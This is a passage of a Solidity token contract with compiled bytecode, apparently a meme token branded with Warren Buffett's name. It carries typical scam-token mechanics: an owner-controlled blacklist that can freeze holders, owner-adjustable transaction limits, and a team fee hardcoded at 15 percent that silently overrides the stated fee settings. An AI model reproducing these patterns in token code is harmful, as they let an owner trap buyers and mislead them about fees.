return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 10;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 10000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, 15);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
} | 0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612dea565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906128f1565b61045e565b6040516101789190612dcf565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190612f8c565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce919061289e565b61048d565b6040516101e09190612dcf565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612804565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190613001565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f919061297a565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612804565b610783565b6040516102b19190612f8c565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612d01565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612dea565b60405180910390f35b34801561033357600080fd5b5061034e600480360381019061034991906128f1565b61098d565b60405161035b9190612dcf565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612931565b6109ab565b005b34801561039957600080fd5b506103a2610ad5565b005b3480156103b057600080fd5b506103b9610b4f565b005b3480156103c757600080fd5b506103e260048036038101906103dd91906129d4565b6110ab565b005b3480156103f057600080fd5b5061040b6004803603810190610406919061285e565b6111f4565b6040516104189190612f8c565b60405180910390f35b60606040518060400160405280601f81526020017f2057617272656e20427566666574742046696e616e6365204164766973652000815250905090565b600061047261046b61127b565b8484611283565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a84848461144e565b61055b846104a661127b565b6105568560405180606001604052806028815260200161370860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c61127b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c0d9092919063ffffffff16565b611283565b600190509392505050565b61056e61127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612ecc565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066761127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612ecc565b60405180910390fd5b80600e60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661075261127b565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c71565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cdd565b9050919050565b6107dc61127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612ecc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600e81526020017f2057617272656e42756666657474000000000000000000000000000000000000815250905090565b60006109a161099a61127b565b848461144e565b6001905092915050565b6109b361127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612ecc565b60405180910390fd5b60005b8151811015610ad1576001600a6000848481518110610a6557610a64613349565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ac9906132a2565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b1661127b565b73ffffffffffffffffffffffffffffffffffffffff1614610b3657600080fd5b6000610b4130610783565b9050610b4c81611d4b565b50565b610b5761127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdb90612ecc565b60405180910390fd5b600e60149054906101000a900460ff1615610c34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2b90612f4c565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cc430600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611283565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d0a57600080fd5b505afa158015610d1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d429190612831565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610da457600080fd5b505afa158015610db8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ddc9190612831565b6040518363ffffffff1660e01b8152600401610df9929190612d1c565b602060405180830381600087803b158015610e1357600080fd5b505af1158015610e27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e4b9190612831565b600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ed430610783565b600080610edf610927565b426040518863ffffffff1660e01b8152600401610f0196959493929190612d6e565b6060604051808303818588803b158015610f1a57600080fd5b505af1158015610f2e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f539190612a01565b5050506001600e60166101000a81548160ff0219169083151502179055506000600e60176101000a81548160ff021916908315150217905550678ac7230489e80000600f819055506001600e60146101000a81548160ff021916908315150217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611055929190612d45565b602060405180830381600087803b15801561106f57600080fd5b505af1158015611083573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110a791906129a7565b5050565b6110b361127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611140576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113790612ecc565b60405180910390fd5b60008111611183576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117a90612e8c565b60405180910390fd5b6111b260646111a483683635c9adc5dea00000611fd390919063ffffffff16565b61204e90919063ffffffff16565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf600f546040516111e99190612f8c565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ea90612f2c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611363576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135a90612e4c565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114419190612f8c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b590612f0c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561152e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152590612e0c565b60405180910390fd5b60008111611571576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156890612eec565b60405180910390fd5b611579610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115e757506115b7610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b4a57600e60179054906101000a900460ff161561181a573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561166957503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116c35750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561171d5750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561181957600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661176361127b565b73ffffffffffffffffffffffffffffffffffffffff1614806117d95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117c161127b565b73ffffffffffffffffffffffffffffffffffffffff16145b611818576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180f90612f6c565b60405180910390fd5b5b5b600f5481111561182957600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118cd5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118d657600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119815750600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119d75750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119ef5750600e60179054906101000a900460ff165b15611a905742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a3f57600080fd5b603c42611a4c91906130c2565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611a9b30610783565b9050600e60159054906101000a900460ff16158015611b085750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b205750600e60169054906101000a900460ff165b15611b4857611b2e81611d4b565b60004790506000811115611b4657611b4547611c71565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bf15750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611bfb57600090505b611c0784848484612098565b50505050565b6000838311158290611c55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4c9190612dea565b60405180910390fd5b5060008385611c6491906131a3565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611cd9573d6000803e3d6000fd5b5050565b6000600654821115611d24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d1b90612e2c565b60405180910390fd5b6000611d2e6120c5565b9050611d43818461204e90919063ffffffff16565b915050919050565b6001600e60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611d8357611d82613378565b5b604051908082528060200260200182016040528015611db15781602001602082028036833780820191505090505b5090503081600081518110611dc957611dc8613349565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611e6b57600080fd5b505afa158015611e7f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611ea39190612831565b81600181518110611eb757611eb6613349565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611f1e30600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611283565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611f82959493929190612fa7565b600060405180830381600087803b158015611f9c57600080fd5b505af1158015611fb0573d6000803e3d6000fd5b50505050506000600e60156101000a81548160ff02191690831515021790555050565b600080831415611fe65760009050612048565b60008284611ff49190613149565b90508284826120039190613118565b14612043576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161203a90612eac565b60405180910390fd5b809150505b92915050565b600061209083836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506120f0565b905092915050565b806120a6576120a5612153565b5b6120b1848484612184565b806120bf576120be61234f565b5b50505050565b60008060006120d2612361565b915091506120e9818361204e90919063ffffffff16565b9250505090565b60008083118290612137576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161212e9190612dea565b60405180910390fd5b50600083856121469190613118565b9050809150509392505050565b600060085414801561216757506000600954145b1561217157612182565b600060088190555060006009819055505b565b600080600080600080612196876123c3565b9550955095509550955095506121f486600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461242a90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061228985600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506122d5816124d2565b6122df848361258f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161233c9190612f8c565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea000009050612397683635c9adc5dea0000060065461204e90919063ffffffff16565b8210156123b657600654683635c9adc5dea000009350935050506123bf565b81819350935050505b9091565b60008060008060008060008060006123df8a600854600f6125c9565b92509250925060006123ef6120c5565b905060008060006124028e87878761265f565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061246c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c0d565b905092915050565b600080828461248391906130c2565b9050838110156124c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124bf90612e6c565b60405180910390fd5b8091505092915050565b60006124dc6120c5565b905060006124f38284611fd390919063ffffffff16565b905061254781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461247490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6125a48260065461242a90919063ffffffff16565b6006819055506125bf8160075461247490919063ffffffff16565b6007819055505050565b6000806000806125f560646125e7888a611fd390919063ffffffff16565b61204e90919063ffffffff16565b9050600061261f6064612611888b611fd390919063ffffffff16565b61204e90919063ffffffff16565b905060006126488261263a858c61242a90919063ffffffff16565b61242a90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806126788589611fd390919063ffffffff16565b9050600061268f8689611fd390919063ffffffff16565b905060006126a68789611fd390919063ffffffff16565b905060006126cf826126c1858761242a90919063ffffffff16565b61242a90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006126fb6126f684613041565b61301c565b9050808382526020820190508285602086028201111561271e5761271d6133ac565b5b60005b8581101561274e57816127348882612758565b845260208401935060208301925050600181019050612721565b5050509392505050565b600081359050612767816136c2565b92915050565b60008151905061277c816136c2565b92915050565b600082601f830112612797576127966133a7565b5b81356127a78482602086016126e8565b91505092915050565b6000813590506127bf816136d9565b92915050565b6000815190506127d4816136d9565b92915050565b6000813590506127e9816136f0565b92915050565b6000815190506127fe816136f0565b92915050565b60006020828403121561281a576128196133b6565b5b600061282884828501612758565b91505092915050565b600060208284031215612847576128466133b6565b5b60006128558482850161276d565b91505092915050565b60008060408385031215612875576128746133b6565b5b600061288385828601612758565b925050602061289485828601612758565b9150509250929050565b6000806000606084860312156128b7576128b66133b6565b5b60006128c586828701612758565b93505060206128d686828701612758565b92505060406128e7868287016127da565b9150509250925092565b60008060408385031215612908576129076133b6565b5b600061291685828601612758565b9250506020612927858286016127da565b9150509250929050565b600060208284031215612947576129466133b6565b5b600082013567ffffffffffffffff811115612965576129646133b1565b5b61297184828501612782565b91505092915050565b6000602082840312156129905761298f6133b6565b5b600061299e848285016127b0565b91505092915050565b6000602082840312156129bd576129bc6133b6565b5b60006129cb848285016127c5565b91505092915050565b6000602082840312156129ea576129e96133b6565b5b60006129f8848285016127da565b91505092915050565b600080600060608486031215612a1a57612a196133b6565b5b6000612a28868287016127ef565b9350506020612a39868287016127ef565b9250506040612a4a868287016127ef565b9150509250925092565b6000612a608383612a6c565b60208301905092915050565b612a75816131d7565b82525050565b612a84816131d7565b82525050565b6000612a958261307d565b612a9f81856130a0565b9350612aaa8361306d565b8060005b83811015612adb578151612ac28882612a54565b9750612acd83613093565b925050600181019050612aae565b5085935050505092915050565b612af1816131e9565b82525050565b612b008161322c565b82525050565b6000612b1182613088565b612b1b81856130b1565b9350612b2b81856020860161323e565b612b34816133bb565b840191505092915050565b6000612b4c6023836130b1565b9150612b57826133cc565b604082019050919050565b6000612b6f602a836130b1565b9150612b7a8261341b565b604082019050919050565b6000612b926022836130b1565b9150612b9d8261346a565b604082019050919050565b6000612bb5601b836130b1565b9150612bc0826134b9565b602082019050919050565b6000612bd8601d836130b1565b9150612be3826134e2565b602082019050919050565b6000612bfb6021836130b1565b9150612c068261350b565b604082019050919050565b6000612c1e6020836130b1565b9150612c298261355a565b602082019050919050565b6000612c416029836130b1565b9150612c4c82613583565b604082019050919050565b6000612c646025836130b1565b9150612c6f826135d2565b604082019050919050565b6000612c876024836130b1565b9150612c9282613621565b604082019050919050565b6000612caa6017836130b1565b9150612cb582613670565b602082019050919050565b6000612ccd6011836130b1565b9150612cd882613699565b602082019050919050565b612cec81613215565b82525050565b612cfb8161321f565b82525050565b6000602082019050612d166000830184612a7b565b92915050565b6000604082019050612d316000830185612a7b565b612d3e6020830184612a7b565b9392505050565b6000604082019050612d5a6000830185612a7b565b612d676020830184612ce3565b9392505050565b600060c082019050612d836000830189612a7b565b612d906020830188612ce3565b612d9d6040830187612af7565b612daa6060830186612af7565b612db76080830185612a7b565b612dc460a0830184612ce3565b979650505050505050565b6000602082019050612de46000830184612ae8565b92915050565b60006020820190508181036000830152612e048184612b06565b905092915050565b60006020820190508181036000830152612e2581612b3f565b9050919050565b60006020820190508181036000830152612e4581612b62565b9050919050565b60006020820190508181036000830152612e6581612b85565b9050919050565b60006020820190508181036000830152612e8581612ba8565b9050919050565b60006020820190508181036000830152612ea581612bcb565b9050919050565b60006020820190508181036000830152612ec581612bee565b9050919050565b60006020820190508181036000830152612ee581612c11565b9050919050565b60006020820190508181036000830152612f0581612c34565b9050919050565b60006020820190508181036000830152612f2581612c57565b9050919050565b60006020820190508181036000830152612f4581612c7a565b9050919050565b60006020820190508181036000830152612f6581612c9d565b9050919050565b60006020820190508181036000830152612f8581612cc0565b9050919050565b6000602082019050612fa16000830184612ce3565b92915050565b600060a082019050612fbc6000830188612ce3565b612fc96020830187612af7565b8181036040830152612fdb8186612a8a565b9050612fea6060830185612a7b565b612ff76080830184612ce3565b9695505050505050565b60006020820190506130166000830184612cf2565b92915050565b6000613026613037565b90506130328282613271565b919050565b6000604051905090565b600067ffffffffffffffff82111561305c5761305b613378565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006130cd82613215565b91506130d883613215565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561310d5761310c6132eb565b5b828201905092915050565b600061312382613215565b915061312e83613215565b92508261313e5761313d61331a565b5b828204905092915050565b600061315482613215565b915061315f83613215565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613198576131976132eb565b5b828202905092915050565b60006131ae82613215565b91506131b983613215565b9250828210156131cc576131cb6132eb565b5b828203905092915050565b60006131e2826131f5565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061323782613215565b9050919050565b60005b8381101561325c578082015181840152602081019050613241565b8381111561326b576000848401525b50505050565b61327a826133bb565b810181811067ffffffffffffffff8211171561329957613298613378565b5b80604052505050565b60006132ad82613215565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156132e0576132df6132eb565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f1